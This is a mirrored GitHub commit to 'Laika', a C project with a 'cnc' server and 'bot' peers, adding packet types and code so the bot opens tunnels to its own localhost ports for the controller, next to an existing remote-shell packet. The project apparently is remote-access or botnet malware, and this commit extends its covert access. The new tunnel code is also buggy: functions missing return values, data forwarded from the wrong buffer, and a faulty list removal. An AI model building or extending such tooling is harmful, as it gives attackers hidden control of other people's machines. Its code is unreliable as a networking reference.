1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-24 05:31:03 +00:00

Added Tunnel & Tunnel Connection boilerplate to lib

This commit is contained in:
CPunch 2022-03-28 15:49:50 -05:00
parent 42199fc7c9
commit a4dc723e15
7 changed files with 239 additions and 9 deletions

View File

@ -28,7 +28,8 @@
"lerror.h": "c",
"stdbool.h": "c",
"alloca.h": "c",
"bot.h": "c"
"bot.h": "c",
"string_view": "c"
},
"cSpell.words": [
"cnc's",

View File

@ -188,7 +188,7 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
cnc->authPeersCount = 0;
/* init socket & pollList */
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL);
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); /* we just need it for the raw socket fd and abstracted API :) */
laikaP_initPList(&cnc->pList);
/* bind sock to port */

View File

@ -53,6 +53,30 @@ enum {
/* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t cncEndian;
*/
LAIKAPKT_TUNNEL_OPEN, /* if sent to bot, opens a tunnel to localhost's port. if sent to cnc, signifies you opened the tunnel */
/* layout of LAIKAPKT_TUNNEL_OPEN:
* uint16_t port;
*/
LAIKAPKT_TUNNEL_CLOSE, /* if sent to bot, closes a tunnel to localhost's port. if sent to cnc, signifies you closed the tunnel */
/* layout of LAIKAPKT_TUNNEL_CLOSE:
* uint16_t port;
*/
LAIKAPKT_TUNNEL_CONNECTION_ADD,
/* layout of LAIKAPKT_TUNNEL_CONNECTION_ADD:
* uint16_t port;
* uint16_t id;
*/
LAIKAPKT_TUNNEL_CONNECTION_RMV,
/* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV:
* uint16_t port;
* uint16_t id;
*/
LAIKAPKT_TUNNEL_CONNECTION_DATA,
/* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV:
* uint16_t port;
* uint16_t id;
* uint8_t data[VAR_PACKET_LENGTH-4]; -- '-4' for the port & id
*/
LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
/* layout of LAIKAPKT_SHELL_OPEN:
* uint16_t cols;

34
lib/include/ltunnel.h Normal file
View File

@ -0,0 +1,34 @@
#ifndef SHELLTUNNEL_H
#define SHELLTUNNEL_H
#include <inttypes.h>
#include "lmem.h"
#include "lsocket.h"
#include "lpeer.h"
#include "lpolllist.h"
struct sLaika_tunnel;
struct sLaika_tunnelConnection {
struct sLaika_socket sock;
struct sLaika_tunnel *tunnel;
struct sLaika_tunnelConnection *next;
uint16_t id;
};
struct sLaika_tunnel {
struct sLaika_tunnelConnection *connectionHead;
struct sLaika_peer *peer;
uint16_t port;
};
struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port);
void laikaT_freeTunnel(struct sLaika_tunnel *tunnel);
struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id);
void laikaT_freeConnection(struct sLaika_tunnelConnection *connection);
void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz);
struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id);
#endif

View File

@ -5,7 +5,13 @@
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData) {
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
laikaS_initSocket(&peer->sock, laikaS_handlePeerIn, laikaS_handlePeerOut, onPollFail, onPollFailUData);
laikaS_initSocket(&peer->sock,
laikaS_handlePeerIn,
laikaS_handlePeerOut,
onPollFail,
onPollFailUData
);
peer->packetTbl = pktTbl;
peer->pList = pList;
peer->uData = uData;
@ -150,7 +156,6 @@ void laikaS_setSecure(struct sLaika_peer *peer, bool flag) {
bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
RAWSOCKCODE err;
int recvd;
switch (peer->pktID) {
@ -229,7 +234,6 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
bool laikaS_handlePeerOut(struct sLaika_socket *sock) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
RAWSOCKCODE err;
int sent;
if (peer->sock.outCount == 0) /* sanity check */

View File

@ -30,7 +30,7 @@ void laikaS_init(void) {
void laikaS_cleanUp(void) {
if (--_LNSetup > 0)
return; /* WSA still needs to be up, a FoxNet peer is still using it */
return; /* WSA still needs to be up, a socket is still running */
#ifdef _WIN32
WSACleanup();
@ -119,6 +119,7 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
socklen_t addressSize;
struct sockaddr_in address;
int opt = 1;
if (!SOCKETINVALID(sock->sock))
LAIKA_ERROR("socket already setup!\n");
@ -129,7 +130,6 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
LAIKA_ERROR("socket() failed!\n");
/* attach socket to the port */
int opt = 1;
#ifdef _WIN32
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int)) != 0)
#else
@ -279,7 +279,7 @@ void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) {
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed) {
RAWSOCKCODE errCode = RAWSOCK_OK;
int rcvd, start = sock->inCount;
int i, rcvd, start = sock->inCount;
/* sanity check */
if (sz == 0)
@ -302,7 +302,6 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
} else if (rcvd > 0) {
#ifdef DEBUG
/* for debugging */
int i;
printf("---recv'd %d bytes---\n", rcvd);
for (i = 1; i <= rcvd; i++) {
printf("%.2x ", sock->inBuf[sock->inCount + (i-1)]);

168
lib/src/ltunnel.c Normal file
View File

@ -0,0 +1,168 @@
#include "lmem.h"
#include "lpeer.h"
#include "lpacket.h"
#include "lpolllist.h"
#include "ltunnel.h"
struct sLaika_tunnel *laikaT_newTunnel(struct sLaika_peer *peer, uint16_t port) {
struct sLaika_tunnel *tunnel = (struct sLaika_tunnel*)laikaM_malloc(sizeof(struct sLaika_tunnel));
tunnel->port = port;
tunnel->peer = peer;
tunnel->connectionHead = NULL;
}
void laikaT_freeTunnel(struct sLaika_tunnel *tunnel) {
struct sLaika_tunnelConnection *con = tunnel->connectionHead, *last;
struct sLaika_socket *sock = &tunnel->peer->sock;
/* free & close connections */
while (con != NULL) {
last = con;
con = con->next;
/* free connection */
laikaT_freeConnection(last);
}
/* tell peer tunnel is closed */
laikaS_startOutPacket(tunnel->peer, LAIKAPKT_TUNNEL_CLOSE);
laikaS_writeInt(sock, &tunnel->port, sizeof(uint16_t));
laikaS_endOutPacket(tunnel->peer);
/* finally, free the tunnel */
laikaM_free(tunnel);
}
bool laikaT_handlePeerIn(struct sLaika_socket *sock) {
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
struct sLaika_tunnel *tunnel = con->tunnel;
struct sLaika_peer *peer = tunnel->peer;
int recvd;
/* read data */
switch (laikaS_rawRecv(&con->sock, LAIKA_MAX_PKTSIZE - (sizeof(uint16_t) + sizeof(uint16_t)), &recvd)) { /* - 4 since we need room in the packet for the id & port */
case RAWSOCK_OK: /* we're ok! forward data to peer */
laikaS_startVarPacket(peer, LAIKAPKT_TUNNEL_CONNECTION_DATA);
laikaS_writeInt(&peer->sock, &tunnel->port, sizeof(uint16_t));
laikaS_writeInt(&peer->sock, &con->id, sizeof(uint16_t));
/* write data we just read, from sock's inBuf to sock's out */
laikaS_write(&peer->sock, (void*)peer->sock.inBuf, recvd);
laikaS_consumeRead(&peer->sock, recvd);
/* end variadic packet */
laikaS_endVarPacket(peer);
default: /* panic! */
case RAWSOCK_CLOSED:
case RAWSOCK_ERROR:
return false;
}
}
bool laikaT_handlePeerOut(struct sLaika_socket *sock) {
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
struct sLaika_peer *peer = con->tunnel->peer;
int sent;
if (peer->sock.outCount == 0) /* sanity check */
return true;
switch (laikaS_rawSend(&con->sock, con->sock.outCount, &sent)) {
case RAWSOCK_OK: /* we're ok! */
/* if POLLOUT was set, unset it */
laikaP_rmvPollOut(peer->pList, &con->sock);
return true;
case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
laikaP_addPollOut(peer->pList, &con->sock);
return true;
default: /* panic! */
case RAWSOCK_CLOSED:
case RAWSOCK_ERROR:
return false;
}
}
void laikaT_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)sock;
/* kill connection on failure */
laikaT_freeConnection(con);
}
struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunnel, uint16_t id) {
struct sLaika_tunnelConnection *con = (struct sLaika_tunnelConnection*)laikaM_malloc(sizeof(struct sLaika_tunnelConnection)), *last = NULL;
/* we handle the socket events */
laikaS_initSocket(&con->sock,
laikaT_handlePeerIn,
laikaT_handlePeerOut,
laikaT_onPollFail,
NULL
);
con->tunnel = tunnel;
con->next = NULL;
con->id = id;
/* insert into connection list */
if (tunnel->connectionHead == NULL) {
tunnel->connectionHead = con;
return con;
} else {
last = tunnel->connectionHead;
tunnel->connectionHead = con;
con->next = last;
}
}
void laikaT_freeConnection(struct sLaika_tunnelConnection *connection) {
struct sLaika_tunnel *tunnel = connection->tunnel;
struct sLaika_tunnelConnection *curr, *last = NULL;
curr = tunnel->connectionHead;
/* while we haven't reached the end of the list & we haven't found our connection */
while (curr && curr != connection) {
last = curr;
curr = curr->next;
}
if (last) {
/* unlink from list */
last->next = connection->next;
} else { /* connectionHead was NULL, or connection *was* the connectionHead. */
tunnel->connectionHead = NULL;
}
/* tell peer connection is removed */
laikaS_startOutPacket(tunnel->peer, LAIKAPKT_TUNNEL_CONNECTION_RMV);
laikaS_writeInt(&tunnel->peer->sock, &tunnel->port, sizeof(uint16_t));
laikaS_writeInt(&tunnel->peer->sock, &connection->id, sizeof(uint16_t));
laikaS_endOutPacket(tunnel->peer);
/* finally, free our connection */
laikaS_kill(&connection->sock);
}
void laikaT_forwardData(struct sLaika_tunnelConnection *connection, struct sLaika_pollList *pList, void *data, size_t sz) {
struct sLaika_tunnel *tunnel = connection->tunnel;
/* write data to socket, push to pollList's out queue */
laikaS_write(&connection->sock, data, sz);
laikaP_pushOutQueue(pList, &connection->sock);
}
struct sLaika_tunnelConnection *laikaT_getConnection(struct sLaika_tunnel *tunnel, uint16_t id) {
struct sLaika_tunnelConnection *curr = tunnel->connectionHead;
/* search for the id in the linked list. curr->next is guaranteed to be NULL at the end of the list */
while (curr && curr->id != id)
curr = curr->next;
/* returns NULL if not found, or the found connection :) */
return curr;
}